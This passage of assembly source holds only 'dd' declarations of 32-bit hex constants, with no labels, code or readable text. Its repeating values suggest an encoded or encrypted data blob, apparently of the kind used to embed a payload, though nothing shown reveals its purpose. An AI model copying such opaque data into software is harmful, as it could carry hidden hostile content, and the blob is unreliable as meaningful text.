0B6DC63FEh, 11868CDFh dd 422B05BCh, 0DC8E858Ah, 16383EF8h, 8D32452Bh, 0A106BF21h dd 88C7DE89h, 0B9CF4C65h, 50733229h, 29B9CF61h, 191FCA1Dh dd 0FC9AC6F7h, 32920ED6h, 8CB2FF05h, 4D05ECC6h, 0EFC2E548h dd 8729BAA0h, 89838934h, 94D3EAA2h, 161BD3BAh, 0A08D241Fh dd 96E929BAh, 87C66E90h, 0BAA14D64h, 0BFD62929h, 0BAA1159Ch dd 80E6129h, 593395BBh, 2BE153B0h, 0C6B18B45h, 0A8BE249Ah dd 0E050AC4h, 74A0110Ah, 2B120C6Eh, 0D8B58F49h, 6B68E2B2h dd 0B4DBDDBBh, 0E153B0D6h, 0B58F492Bh, 9CB35339h, 0B0B9D306h dd 452BE153h, 4248748Bh, 0C08EECD2h, 0AC570FF2h, 0ECC684A6h dd 534A4F07h, 2BF1EB4Dh, 0D8B18B45h, 8E462BB2h, 0C6B2D8B4h dd 4B5109ECh, 172EBD08h, 3C1FF964h, 82887F84h, 8C442B60h dd 0EEA68987h, 0DB3881E9h, 0B0916F98h, 452BE153h, 0B2D8B18Bh dd 7990482Bh, 9A7B89Fh, 0B3CF45B0h, 0FD1F25D0h, 0CBC1B2D8h dd 2BE153B0h, 0C3B18B45h, 8F492BC9h, 0C65339B5h, 0E226B89Ah dd 0E6ECADE9h, 354C06ECh, 7E381CF6h, 0B9AC2E83h, 0EFF54829h dd 2B6228CDh, 0C6B38D47h, 0DBF5B19Ah, 0F56046CEh, 0C234A320h dd 0B50208B3h, 8A422B8Fh, 0AB9AC6B0h, 0BD0BD517h, 2349969Ch dd 9C83422Bh, 3DE8DFE4h, 9A543A38h, 90ED2295h, 2F09244Dh dd 92898E46h, 87C66A8Ch, 0BAA14D64h, 0D0D62929h, 2B8C065Bh dd 0C6B18B45h, 454B03ECh, 0E9A3E9E3h, 5380ACA3h, 44FCDF5Dh dd 0E96AA640h, 46E2C1E3h, 4129BA81h, 0A389482Bh, 4045FDE2h dd 0DCF39E49h, 24DCC39Dh, 0BAA08829h, 742C1329h, 4EA1786Fh dd 0B2D82648h, 1406321Dh, 5BDA0B2h, 26050900h, 517379CEh dd 0A10EA3C6h, 156829BAh, 7C3B24FEh, 0DFD6DB93h, 0B7FA1D34h dd 0BF29BAA0h, 0C344666Ch, 369AC6C9h, 0D9786858h, 9446898Fh dd 0E729BA46h, 0B38D472Bh, 7E4975D8h, 0BC5CF0BFh, 2889ACC3h dd 4E29B9ACh, 1DD3F5FBh, 0AD87C66Fh, 12090EC6h, 0A0E8C90Ch dd 3B8E29BAh, 2BC9C361h, 0D8B08A42h, 0D4F73675h, 29BAA0DDh dd 664B4699h, 1029BAA1h, 0E295B7BDh, 29BA8439h, 1D9FED0Eh dd 5B87C66Fh, 0B53BCA13h, 0B367A95Ch, 6B2974D7h, 3A77BAC0h dd 4429BA09h, 789BDAF1h, 29BA0939h, 0CAECF245h, 492BC9C3h dd 0D821CF8Fh, 0A0CFE2B2h, 33A429BAh, 0E153B059h, 0A3C66F1Dh dd 29BAA10Eh, 4FBDFC28h, 4C92CB93h, 0FAD42746h, 6F1DC9C3h dd 422BB2D8h, 0B299738Ah, 0A96148FAh, 85A7ADA4h, 9FEDC9C3h dd 0BAA0CFE2h, 5933A429h, 65A453B0h, 0BAA16F42h, 4B5B0729h dd 0B262F3B6h, 10060AB5h, 78A93A1Dh, 0C6C4E6ECh, 0C1E40AECh dd 29BAA0F0h, 82883386h, 422B0143h, 0ECC6B08Ah, 4F464B03h dd 516FDD4Bh, 686E9E15h, 0CFE2F51Bh, 0A429BAA0h, 53B05933h dd 8A422BE1h, 2BC9C3B0h, 0D8B08A42h, 0A0CFE2B2h, 8D6729BAh dd 0EEECF1ABh, 0A2A8530Bh, 0B08FFD80h, 422BE153h, 0ECC6B08Ah dd 0A45C4506h, 0F7FDF4F9h, 0ECC69B95h, 0F2BFE208h, 8C29BAA0h dd 92898E39h, 4045FDE0h, 60494349h, 0B16591A8h, 0A0FDD9A2h dd 0C6BEE0E6h, 4A500AECh, 6F1DD7FDh, 0A10EA3C6h, 156829BAh dd 4975D83Bh, 7ECCB7A2h, 21434994h, 0B08A422Bh, 6F1DC9C3h dd 0CBAD87C6h, 0F150C11h, 0BAA0E5CCh, 90775129h, 60B3D2D8h dd 6ECC686h, 0EAE4464Ch, 75D86F1Dh, 0FAFFB99Bh, 0C6DBFD03h dd 4C5109ECh, 0CE104F55h, 0B08A422Bh, 321DB2D8h, 0B6BB7358h dd 0C697B9BFh, 8C254887h, 1729BAA0h, 4FA27933h, 0A0AB0649h dd 80D329BAh, 6487C6A6h, 29BAA14Dh, 6ED0D629h, 220BA974h dd 3F19506Ah, 7C9EA45Ch, 4D6487C6h, 2929BAA1h, 4A98D0D6h dd 0BAA0CFE2h, 472BA429h, 0A18A888Dh, 3BEDE4E9h, 6E9A9F59h dd 240650ADh, 0C36E656Ah, 53B075E3h, 2BA4E6E1h, 0D8B58F49h dd 0C66F1DB2h, 0BAA10EA3h, 0B9BC6829h, 4D50A74Fh, 0C3522CD7h dd 6EBA608Ch, 542B75D4h, 0AF971A3Dh, 8CDF29B9h, 422B6486h dd 0AB989331h, 91953CF2h, 0DB993B61h, 0D7B15C45h, 0B99B75D8h dd 0FD03FAFFh, 0A29AC6DBh, 1A3BCC2Ch, 0F5FAB297h, 0A4D53FEh dd 12E4F00Bh, 6487C668h, 29BAA14Dh, 3A3C04FCh, 9E0A6D5h dd 0CDB6B0B6h, 0C9C33B15h, 85331CE2h, 492B176Ah, 0C9C3B58Fh dd 0B58F492Bh, 422BB2D8h, 0B2D8B08Ah, 53B08FFDh, 8F492BE1h dd 2BC9C3B5h, 0C3B08A42h, 0FD0B28Ch, 776E732Dh, 7C361ACCh dd 492B5476h, 0B2D8B58Fh, 34569AC6h, 5AB0DE88h, 0BDB4B971h dd 3EC90C12h, 395DBADFh, 53B08FFDh, 0D2E3CAA4h, 0F47000DEh dd 6B701BCBh, 0C64C6E74h, 928E689Ah, 309969Eh, 936D2709h dd 254887C6h, 29BAA08Ch, 0DA49FF2h, 6929BAA1h, 0B4AE1016h dd 788F492Bh, 0B24CBC4Ch, 0A4BB60D8h, 0B9A93081h, 0EDF34629h dd 2BB2D8CBh, 34738A42h, 0BAA0A011h, 7D83D629h, 33B2D85Bh dd 0E153B059h, 4E08ECC6h, 524C5249h, 739FB670h, 24475754h dd 29BA078Dh, 0A59296E9h, 0B51C206Fh, 3D97EB8Ch, 0C3D8FA00h dd 8F492BC9h, 0E2B2D8B5h, 5DBBC825h, 0DD1C3322h, 0BAA0F7BAh dd 42257F29h, 0E38E858Ah, 0A108A9CCh, 1B6E29BAh, 53B0F315h dd 8F492BE1h, 0D1C9C3B5h, 4600E44Ah, 0C59F4A41h, 472BB2D8h dd 0C9C3B38Dh, 0B006321Dh, 5109ECEEh, 35AAA24Dh, 0B2D80D2Fh dd 0B58F492Bh, 9FEDC9C3h, 0BAA0CFE2h, 462BA429h, 0A78B898Eh dd 0FBBCE8EDh, 9AB15BA6h, 3F4D756Eh, 74263691h, 0D8CFD48Eh dd 53B0B0D2h, 29E1CAA4h, 0A4E60123h, 0A588492Bh, 46F1E8EDh dd 2BB2D86Ch, 0D8B48E46h, 8090E2B2h, 2BE359A1h, 0C3B48E46h dd 8C442BC9h, 0E2B2D8B2h, 7FA79E00h, 0BF775C36h, 442B97B9h dd 7A49758Ch, 0B76F56D3h, 0E12EA6B3h, 0C9C3B9DBh, 758C442Bh dd 11FE6949h, 792B2BA8h, 0B4D6DC94h, 0E0E2B2D8h, 53107D3Dh dd 878C442Bh, 0E5EAA289h, 0F2A1FEB3h, 0BAA0E2CFh, 9E499C29h dd 87C61AF4h, 0BAA14D64h, 24D62929h, 87D833Bh, 442B39ABh dd 87C6B28Ch, 0BAA14D64h, 0D0D62929h, 442B746Eh, 0B79B758Ch dd 0D8D5F7FDh, 36492BB2h, 0B93BA4F1h, 7953FE60h, 2A4D8CC3h dd 29BAA087h, 74969CEFh, 0B28C442Bh, 5E608CC3h, 952808A2h dd 0C657797Fh, 0A14D6487h, 0D62929BAh, 3AF4D6D0h, 6487C660h dd 29BAA14Dh, 83D0D629h, 9ECC65Dh, 29084B51h, 5255E0A1h dd 858A422Bh, 0A0B2FF22h, 79CC29BAh, 252AE2C7h, 98DB38F9h dd 53B014EEh, 8ECC6E1h, 6C4E484Eh, 0C9C3D8B2h, 0B58F492Bh dd 0CEE2B2D8h, 0A93E69C6h dd 53B08FFDh, 8F492BE1h, 0C6C9C3B5h, 0A14D6487h, 0D62929BAh dd 3AF4D6D0h, 0AD674923h, 0B2D885A7h, 0B48E462Bh, 5933B2D8h dd 2BE153B0h, 0C3B58F49h, 8F492BC9h, 0E2B2D8B5h, 3E69C6CEh dd 0E51D406Ch, 459C1538h, 8FE211E7h, 288CDF8Bh, 452B0022h dd 23868Bh, 29BAA0B1h, 0E6C87ACDh, 431272Ch, 0A3BA64AFh dd 2F421777h, 6C727B2Dh, 0E153B04Ah, 9F88492Bh, 3F44FEE0h dd 0A1989D48h, 0C9C31CF6h, 0B38D472Bh, 92E2B2D8h, 0A848EFAAh dd 7E42BF7Ch, 6508565Bh, 0C9CD20C8h, 464CCA4Bh, 8D472B24h dd 92B89C76h, 0BAA1426Fh, 3EE93C29h, 1A3C4239h, 9AC6C9C3h dd 0CB18D0E6h, 24475E23h, 29BA488Dh, 969096E9h, 0D81EF8B2h dd 0AB0EE2B2h, 522C34B5h, 0B8AFB46Eh, 462B90B2h, 0A25DA835h dd 28D3ED40h, 863E2523h, 15E8B81h, 0B0B597BEh, 472BE153h dd 0C9C3B38Dh, 0B58F492Bh, 0ECC6B2D8h, 51484D05h, 0B36D514Bh dd 0FDB2D8D9h, 0A453B08Fh, 2429E1CAh, 2B05272Dh, 0C6B58F49h dd 454B03ECh, 4A6DACE3h, 29BAA167h, 98F5630Fh, 1B8A9899h dd 1D486A70h, 3675D86Fh, 0BAA09E13h, 7F85D829h, 8D472B5Dh dd 0EDC9C3B3h, 0AECC69Fh, 0AA074A50h, 0D129BAA0h, 53B05933h dd 0C6A4E6E1h, 82BA589Ah, 60665DD3h, 0EFC98166h, 9608CC3h dd 138A27E3h, 41238EB1h, 85B29BAh, 0C635575Dh, 9B3D79Ah dd 3099DBEh, 916B2509h, 492BB2D8h, 0B2D8B58Fh, 53B095F7h dd 8D472BE1h, 9D143776h, 0D929BAA0h, 0C35E8086h, 8F492BC9h dd 2BC9C3B5h, 37768D47h, 0BAA09D14h, 9C7FD929h, 3DE8DFE4h dd 0B2D81537h, 0BAA0D0E2h, 0BFCDA329h, 1FE153B0h, 5434E0E3h dd 23E0Ch, 492B5600h, 0B99E788Fh, 0D8D9FB01h, 939A4975h dd 43D6C4A4h, 95A8092Ch, 7BCE29BAh, 9FED5375h, 788F492Bh dd 0A09B1639h, 90E329BAh, 8CC3688Ah, 477B2960h, 0EED0C4D0h dd 8D382F34h, 3A40F8DBh, 8F492B18h, 379AC6B5h, 0DD776963h dd 0F7FCB499h, 24F5500h, 0A0CFE2DCh, 33A429BAh, 0A453B059h dd 0A09DA678h, 0FBAD4E3Ah, 34565C14h, 0B58F492Bh, 0CDB28CC3h dd 2BED0F15h, 0C6B58F49h, 494F07ECh, 0CFE2D6FCh, 0A429BAA0h dd 53B08FFDh, 6487C6E1h, 29BAA14Dh, 4024D629h, 848A8186h dd 14EEA88Ah, 500AECC6h, 0EC4E544Bh, 0F3321DF2h, 0BAA0E1D0h dd 334A9D29h, 0BAA0A110h, 848ADD29h, 2BB2D862h, 0D8B58F49h dd 58321DB2h, 0BDB4B971h, 0A3C695B7h, 29BAA112h, 0BA745A34h dd 593B95B4h, 0F8A39A9Fh, 8ECC61Eh, 4E52494Eh, 0C0A15B97h dd 0EB4D53E6h, 0F99AC6F1h, 81BB2375h, 0E9A18A3Ch, 0EDE7EDE4h dd 0C377510Bh, 872A4D8Ch, 0EF29BAA0h, 0E674969Ch, 33442BA4h dd 0DC6DFCD1h, 6518E675h, 5E48A7ABh, 0D85A34DFh, 0FEB69B75h dd 0C8D9D6F8h, 0D7E57261h, 0C6B26020h, 0BAA10EA3h, 2C0E6829h dd 18ED919h, 8B3657EDh, 0AE48F86h, 0CEE2C9C3h, 0A929BAA0h dd 0B28C442Bh, 472BC9C3h, 0E6EBA386h, 0EE2D44EFh, 0BAA0E6CBh dd 373D9029h, 0E2B2D815h, 7B8CD3C4h, 7BFA882h, 2BE4CDF0h dd 479AD784h, 1C331F41h, 0B29B5C42h, 0BB9D4FFAh, 0FF05FC01h dd 0A453B0DDh, 0A16F4265h, 0B40729BAh, 472B8CAEh, 0C9C3B38Dh dd 500AECC6h, 0B26C504Ah, 9B75D8D8h, 0F8F6FBB5h, 5F565B13h dd 2B8CAEB4h, 0E9A38544h, 92975137h, 0FFD9F09Bh, 665D621Ah dd 75D83E60h, 0FAFFB99Bh, 33DBFD03h, 0E153B059h, 0B38D472Bh dd 0CC608CC3h, 83567A07h, 0C6B9DBE1h, 0A14D6487h, 0D62929BAh dd 38F2D6D0h, 8ECC65Eh, 0D5FB484Eh, 8CD3C4E2h, 8FFDBF7Bh dd 2BE153B0h, 0C3B38D47h, 58321DC9h, 94B6BC76h, 442BB2D8h dd 0C9C3B28Ch, 9AC69FEDh, 0E322B6F8h, 0E2C4763Ch, 262C2328h dd 0BA1BCEE3h, 5933A529h, 0E6E153B0h, 11C9FBA4h, 2B910000h dd 0D8B38D47h, 5ECC6B2h, 4B51484Dh, 0BAA0B008h, 492BC329h dd 0A68C8A8Fh, 0FABBE7ECh, 0FF4A5AA5h, 81874125h, 0A453B05Fh dd 0A16F4265h, 0A4C729BAh, 29BAA10Dh, 0EC3F1669h, 0E31FC4E6h dd 0C5434E0h, 8BDh, 879AC656h, 70280B0Eh, 0E70746Bh, 918B9168h dd 0D81CF6AEh, 94BBE2B2h, 2BB829BAh, 37768D47h, 0BAA09D14h dd 8086D929h, 1DB2D85Eh, 0CB9AC66Fh, 0A4C1F51Fh, 0BADD3C42h dd 29B9D3F7h, 7F3E257Fh, 8934DF99h, 0F5B69872h, 5A51560Eh dd 0ADB3AAAFh, 0E2C9C38Bh, 3980FBE0h, 8D472B53h, 0C6C9C3B3h dd 0C2E509ECh, 29BAA0EFh, 83893487h, 11EBA589h, 87C6B2D8h dd 0A08C2548h, 9FF229BAh, 0BAA10DA4h, 0EDA58E29h, 0C71AF1E8h dd 70752F15h, 7E307379h, 0F529BAA0h, 858A422Bh, 0E4E9A387h dd 5DA0FDB2h, 53B03654h, 8D472BE1h, 109AC6B3h, 2EDF3AD6h dd 6862C4CAh, 768D472Bh, 0A09D1437h, 1CFE29BAh, 8F665D62h dd 0D814363Ch, 0A0CCE2B2h, 0D4A729BAh, 0E153B0B6h, 0B38D472Bh dd 0C9B28CC3h, 2BE90B11h, 0B3FE2147h, 0CB29BAA0h, 0D8F3CD78h dd 5B87C6B2h, 2876CAC8h, 31807BE2h, 4D29BA32h, 4E530DF3h dd 63A6AC57h, 111884CFh, 7E58F7A6h, 0E1D8DD95h, 87C6B9DBh dd 0BAA14D64h, 0BFD62929h, 0BAA1159Ch, 80E6129h, 2BC43E93h dd 5F293447h, 0BE152917h, 5462EABAh, 741F20B8h, 608CC39Ah dd 0AFD2114Bh, 29BA5902h, 1425297Ch, 7FA1A72Ch, 768D472Bh dd 0C779B54Ah, 23295896h, 6487C601h, 29BAA14Dh, 83D0D629h dd 0A55D4620h, 81A3A9A0h, 82C49AC6h, 0A8AD6548h, 73EAADB1h dd 5A54979Dh, 1929B9B5h, 53B094F6h, 8D472BE1h, 2BC9C3B3h dd 0D8B38D47h, 1EC4975h, 68CC257Eh, 1116D0B6h, 98F2141Ah dd 2BC9C3F2h, 0E9A18647h, 6842EDE4h, 4E08ECC6h, 0A09D1437h dd 86D929BAh, 0F6D03380h, 5F565B13h, 492B3759h, 87C6B58Fh dd 110CC4ADh, 29BAA0A0h, 307D83D6h, 8D472B0Ah, 99AC6B3h dd 85E733E5h, 95FD1247h, 50D6F791h, 5D57D34Ch, 93995216h dd 492B3731h, 41ECA688h, 0E9C8EB2Ah, 9529BAA0h, 0F09B553Bh dd 0C9C3C8EAh, 0B58F492Bh, 0B598B2D8h, 0A15E5376h, 543D29BAh dd 6C72C59Ch, 2BC9C34Ah, 0D8B38D47h, 8F492BB2h, 2BB2D8B5h dd 8ABA3447h, 8F1D0884h, 0C9C30AE4h, 0B58F492Bh, 472BC9C3h dd 0A0B3FE21h, 71CB29BAh, 0D8CFD48Ch, 0D8A8822Dh, 6B324975h dd 0B3A29D3Ch, 0FE021085h, 0F7FD788Ah, 7AAAE2D5h, 0B69D399Bh dd 0E153B0D4h, 4D05ECC6h, 0AF694D47h, 3ECC6D5h, 0FBB5994Bh dd 2B9993F5h, 0C6B38D47h, 634605ECh, 4AFA6ABh, 0C68BB1FEh dd 0A14D6487h, 0D62929BAh, 0A1159CBFh, 0E6129BAh, 732B0E08h dd 1DC9C399h, 2BB2D86Fh, 0C3B38D47h, 8862EDC9h, 943593A6h dd 512E4639h, 0BDA3A1A6h, 5C07FE03h, 0CFE23456h, 6729BAA0h dd 1A7F243Bh, 242A73BFh, 0B0593302h, 0A4E6E153h, 0B38D472Bh dd 0E208ECC6h, 0BAA0F2BFh, 8E398C29h, 0FEE09289h, 42483F44h dd 0ECC6CFF5h, 0F3BEE105h, 8B29BAA0h, 25888D38h, 0BAA0AF02h dd 0C974C729h, 2EE6C9C3h, 33B2D854h, 0E153B059h, 0B38D472Bh dd 7A5B87C6h, 96F824C5h, 0C22D847Fh, 0F64929B9h, 7D578EF0h dd 0DCDADF99h, 909641F9h, 6487C66Eh, 29BAA14Dh, 0D6DBD629h dd 0A029BAA0h, 0C8A28D4Dh, 2E252AE4h, 75D80628h, 0F7FDB79Bh dd 90482BD5h, 9ECC6B6h, 0EFE94B51h, 9AC69FEDh, 4B88B856h dd 4A2CDE1Fh, 6A478A90h, 1129B9C0h, 53B05933h, 29E1CAA4h dd 8A442624h, 0CCE38E85h, 0BAA108A9h, 151B6E29h, 0C6A4E6F3h dd 0A14D6487h, 28FC29BAh, 0EB36160Bh, 797FD2A9h, 0BA634336h dd 442BB829h dd 75D8B28Ch, 0B013BE49h, 1C22647Fh, 0C66F1DFAh, 0BAA10EA3h dd 3B156829h, 0F6E2C9C3h, 516F1EB3h, 0B28C442Bh, 442BC9C3h dd 0B2D8B28Ch, 87C6AAE0h, 8262EC5Bh, 0E5E09EA5h, 29B9BFCCh dd 0B87258B2h, 0B11BCB3h, 0B08A3996h, 150C11C9h, 0ECC6ED0Fh dd 51484D05h, 2BEFE94Bh, 0E59F8544h, 643EE9E0h, 4B03ECC6h dd 0FC494F46h, 8C9AC6D6h, 0C14F9E2Dh, 993FCCD2h, 87C6C9C3h dd 0B4558A5Bh, 0BDB8FAE1h, 29BA6DF4h, 3731378Ah, 0D8BE9850h dd 9ECC6B2h, 0A0EFC2E5h, 348729BAh, 878D8489h, 0BAA16A44h dd 0B6D40929h, 2BE153B0h, 0B4FD2044h, 9D29BAA0h, 10ABA473h dd 4DA077C2h, 0F15F8BA2h, 9C68ADD3h, 0C3F3151Bh, 0EA9AC6C9h dd 9DFC14B4h, 58A9212h, 62A7D101h, 0C57D625Ch, 0E2B2D8EBh dd 3488B490h, 8E462BE3h, 0CDDF4B77h, 104A8F4Fh, 3CC8320Ch dd 0CCD292C7h, 5B87C6AAh, 60D0CDBEh, 357C776Ch, 4129B9BCh dd 8C86E8EEh, 0B48E462Bh, 4D6487C6h, 2929BAA1h, 5D83D0D6h dd 2BDBC9B3h, 8C8A8F49h, 99E9EEA8h, 0B45B2C33h, 6C99433Fh dd 87A6CC17h, 80EC6ADh, 0E153B0E6h, 778E462Bh, 676DD74Bh dd 989E9109h, 2BC9C376h, 0D8B48E46h, 7ECC6B2h, 0A806494Fh dd 0CB29BAA0h, 53B094F6h, 22462BE1h, 0BAA0B2FFh, 0CE79CC29h dd 6C9AC6F4h, 75817E1Ah, 0B2AC0E14h, 778E462Bh, 0F7FCB49Dh dd 575C14F9h, 1C03B560h, 0D83C5E64h, 0D9DCE2B2h, 33575958h dd 7ECC659h, 4D534A4Fh, 2B097BD8h, 0C3B48E46h, 22462BC9h dd 0BAA0B2FFh, 0EA0DCC29h, 29BAA0C7h, 6B15CAFh, 0C6B2D82Ch dd 0A14D6487h, 0D62929BAh, 0A1159CBFh, 0E6129BAh, 0CEC1C508h dd 33B45359h, 0F7BADD1Ch, 7F29BAA0h, 0B004262Ch, 462BE153h dd 0B79D778Eh, 0C6D5F7FDh, 1B69F19Ah, 6369D1FEh, 0ECC60701h dd 4D4B500Ah, 0FC02AD67h, 8B651D02h, 5799AC6h, 0FE7972A3h dd 0B0B66119h, 4DE23D63h, 2A47CBDFh, 53B095F7h, 8E462BE1h dd 2BC9C3B4h, 0D8B48E46h, 3ECC6B2h, 0A0F5BCDFh, 2E8129BAh dd 0D53A7D83h, 25138483h, 0AAB0684Bh, 0B08FFD88h, 462BE153h dd 0C9C3B48Eh, 0B28C442Bh, 0B99B75D8h, 0A1417093h, 0EA3D29BAh dd 3D433A3Fh, 8E462B1Bh, 0B6B2D8B4h, 7C355897h, 229BAA0h dd 207BFA8h, 2E5C600Bh, 0F38E40EEh, 0B0E90B11h, 2665A453h dd 0BAA0AE03h, 7A75C829h, 29BAA137h, 0C4E6EC3Fh, 9C85442Bh dd 3DE8DFE4h, 0AA00FA26h, 0D9DE987Ch, 10BADEE2h, 0C605272Dh dd 474C06ECh, 0B1E84A50h, 0A1624F72h, 0C91C29BAh, 462BA1C3h dd 0C9C3B48Eh, 0E105ECC6h, 0BAA0F3BEh, 8D388B29h, 0AF022588h dd 0C729BAA0h, 0C9C3C974h, 39132AE2h, 98969B55h, 0F7FCB6h dd 0D82D4F55h, 9CF4E2B2h, 0FD4F2AE3h, 0E153B08Fh, 0FD20442Bh dd 29BAA0B4h, 0F2CC77CAh, 0ECC6C9C3h, 4F464B03h, 0CD88A14Bh dd 8389C406h, 14EEA689h, 0A54975D8h, 0D396D556h, 0CD2D73B0h dd 66117C8Eh, 1DE23E60h, 1A77A66Ch, 4D6487C6h, 2929BAA1h dd 2A2FE9CFh, 17848833h, 0B2DF395Dh, 0E5C8C2C8h, 4C04E7C1h dd 5C555047h, 0E229B9B7h, 0B9B6F2BFh, 62398C29h, 0C17B5D0Fh dd 8CC33C16h, 6113CBB2h, 0C6BDC27Ah, 87C69EC0h, 0BAA14D64h dd 476A2929h, 29BAA16Ah, 1016C114h, 9D772F16h, 0D7779AC6h dd 0B6CACDA9h, 0C63D63B0h, 4C5109ECh, 72554F55h, 0B2D8E0BAh dd 53B08FFDh, 8C442BE1h, 0B57C4975h, 9EA25C40h, 2C139397h dd 0A1C3C974h, 6F1DC9C3h, 482BB2D8h, 0BB9F7990h, 0D76699A8h dd 0E08B9614h, 0AACDE4DBh, 29B9C607h, 0F4161C6Fh, 0ECC6C9C3h dd 11494F07h, 6487C6C3h, 29BAA14Dh, 8DD0D629h, 29BAA124h dd 421C3357h, 10F2A45Eh, 0B02E5056h, 0A4E6E153h, 4E08ECC6h dd 183B5249h, 29BAA099h, 928C92E5h, 0D81AF4AEh, 884CE2B2h dd 0FD27594Ah, 0E153B08Fh, 0B38D472Bh, 4D05ECC6h, 0C6EBE547h dd 4A42209Ah, 0CFD589F2h, 5D37F1D5h, 4F07ECC6h, 2BD6FC49h dd 0C6B28C44h, 0C2E509ECh, 29BAA0EFh, 84893487h, 62BBEC34h dd 0B35E785Bh, 23FD60ADh, 877E833Dh, 8FFD5F81h, 2BE153B0h dd 0C3B38D47h, 8ECC6C9h, 16F9494Eh, 14674853h, 8F898F3Ah dd 0D817F1ABh, 884CE2B2h, 0BEEA594Ah, 8D4AF310h, 0D0F2F822h dd 888D472Bh, 0EAEFA78Ah, 4B500AECh, 64B96E54h, 0C6956F19h dd 4A500AECh, 2B0678D5h, 0C3B38D47h, 0C66F1DC9h, 4B5109ECh dd 442BD8FEh, 0DFE49C85h, 233A0B8Fh, 0C16C19EBh, 0C9C33C16h dd 4D6487C6h, 2929BAA1h, 4A98D0D6h, 0BAA0CFE2h, 5933A429h dd 500AECC6h, 1A3D544Bh, 29BAA097h, 11868CDFh, 5ED905BCh dd 3E37F09Ah, 7BFA85Ah, 0E3050B02h, 7D3B67E6h, 169BBEF4h dd 6029BA3Dh, 0F592090Dh, 0FBCDEFF5h, 8C7h, 0EE4DE291h dd 2B2A29BAh, 0B0012448h, 0C629BAA0h, 0D8EEC873h, 58321DB2h dd 0BDB4B971h, 87C695B7h, 0A0FC9ADh, 0E7CA0D13h, 8F29BAA0h dd 9AC6623Ch, 15865254h, 40A2A8D5h, 2B9FED46h, 9F799048h dd 0D9FB01BBh, 2EE2C9C3h, 929BAF0h, 0AE31422Bh, 570FF26Bh dd 81E50653h, 0B2D8FCD6h, 0A3C66F1Dh, 29BAA10Eh, 0C33B1568h dd 0F6EDE2C9h, 330D255Eh, 77B03D4Eh, 0CC5EC9AAh, 391E1C21h dd 0AED0D681h, 0B5459AC6h, 0B7D75077h, 16CEB7B1h, 2BC9C33Ch dd 8A9D8342h, 17449C3Ah, 0E2E79213h, 0C66640EBh, 0A14D6487h dd 654E29BAh, 0DAB1A8ADh, 0E348187h, 0BAA0CCE2h, 79D4A729h dd 0F6B14C4Dh, 0C6CC4359h, 0E153B0A4h, 5109ECC6h, 0B068514Bh dd 2BC9C3D6h, 0D8B08A42h, 0A0CCE2B2h, 0F6A729BAh, 0E153B094h dd 4D6487C6h, 2929BAA1h, 0EDD6D0D6h, 0C1F21E35h, 0E74EFB61h dd 0C391B3B9h, 8ECC6C9h, 4C52494Eh, 0D7B16952h, 9E2B2D8h dd 7E255EF7h, 868B452Bh, 0E3E8A288h, 0A1545D80h, 0D72A29BAh dd 0D21D72BBh, 0E31B47F2h, 0F6010BEAh, 0B05E8086h, 0ECC6E153h dd 0B19A4C06h, 10F9F3F9h, 8CC37E58h, 3AD40C60h, 1A202D95h dd 90482BF8h, 2BB2D8B6h, 0E39D8342h, 0B2D85E38h, 53B05933h dd 29E1CAA4h, 482B0123h, 0C9C3B690h, 738A422Bh, 0A0A01134h dd 14FB29BAh, 2C32855Ch, 0EDC9C30Ah, 0A0CFE29Fh, 0FDA429BAh dd 0E153B08Fh, 4F07ECC6h, 0E4D534Ah, 8C442BCCh, 3ECC6B2h dd 0D2F8454Bh, 0A3C66F1Dh, 29BAA10Eh, 0B6B6BC68h, 0BF3228A8h dd 3A23FD14h, 35E0987Bh, 11333930h, 0CCB28CC3h, 2C0F0D12h dd 0CD786F74h, 0CFE2A5C7h, 0A429BAA0h, 0B28C442Bh, 482BC9C3h dd 0ECC6B690h, 534A4F07h, 0C39D004Dh, 2A2126DEh, 442B0224h dd 4849758Ch, 0C5B5F205h, 0D8A8CAD0h, 0B08FFDB2h, 482BE153h dd 0C9C3B690h, 0B28C442Bh, 321DC9C3h, 0B6BB7358h, 0C697B9BFh dd 0E82CB69Ah, 898F7278h, 482B163Ch, 40EBA589h, 0C6B2D866h dd 0BAA10EA3h, 0FE156829h, 0BAA0D6DBh, 8D4DA029h, 6487C6DFh dd 29BAA14Dh, 0D6AD654Eh, 0FB1E7D83h, 29BAA0BAh, 0C38F69BCh dd 7ECC6C9h, 6C4F494Fh, 0C9C3DAB4h, 472BA4E6h, 0BA9C768Dh dd 0D8D8FA00h, 0C66F1DB2h, 0BAA10EA3h, 3B156829h, 0F9E2C9C3h dd 4E29BAEAh, 4D6487C6h, 2929BAA1h, 159CBFD6h, 6129BAA1h dd 290E080Eh, 0B2D89771h, 0A3C66F1Dh, 29BAA10Eh, 0C33B1568h dd 8411E2C9h, 0FD297CB4h, 0C17B6143h, 0FC9ED94h, 0D0C2D7E1h dd 0C6FD1F25h, 484D05ECh, 0A7AC664Ah, 5FF05B0h, 0C68E6820h dd 484E08ECh, 462BECE6h, 75D8B48Eh, 0F8FEB69Bh, 0BC42E2D6h dd 1EF82097h, 0DB937837h, 2E34DFD6h, 0C68FFD0Ch, 3AAE49Ah dd 0BA71D1E0h, 565AAD29h dd 8E946231h, 0E10DC419h, 0B1267704h, 8E462D6Bh, 0E1E79289h dd 8E462BBFh, 2BC9C3B4h, 9D778E46h, 5FC01BBh, 0B2D8DDFFh dd 455DEAE2h, 8FFD5DD6h, 2BE153B0h, 0AE553546h, 193FF6EDh dd 0C9C3946Eh, 0B38D472Bh, 500AECC6h, 0B16B4D4Bh, 40AB5ACh dd 0F21554B7h, 29BAA0BFh, 3C5E64B7h, 0B28C442Bh, 4D6487C6h dd 2929BAA1h, 159CBFD6h, 6129BAA1h, 58BB080Eh, 6121CF2Ch dd 0E5EB06E8h, 0EEFAE2C3h, 0C64D240Fh, 0A3CD799Ah, 181E4B99h dd 687F371Eh, 0EEF3AB8Eh, 0C3CFF1F7h, 8C442BC9h, 0CCAB4975h dd 0CD25CAD3h, 0B2D8A5C7h, 0F6049AC6h, 32656F36h, 944E322Ch dd 3BDA37Dh, 0DF0107FEh, 442BC9C3h, 0FA49758Ch, 21F1842Fh dd 41A94448h, 3402D397h, 9AC60C2Eh, 0E32E721Ch, 4EB0B615h dd 8A422B54h, 0A0113473h, 0D629BAA0h, 0D85B7D83h, 0E967E2B2h dd 0C6DC5E2Dh, 0DCF8B29Ah, 21272BA0h, 0F71A3E27h, 29B9A1BAh dd 0DCBF71C4h, 7D281F24h, 0AD042766h, 0C929B9A1h, 0C34E7076h dd 872A4D8Ch, 0EF29BAA0h, 49F4AC95h, 0F2F7B197h, 2BD3F5FBh dd 47738A42h, 0A13A9B0Ch, 0BCDEE4C9h, 6DE0B2D8h, 0A0A60B2Eh dd 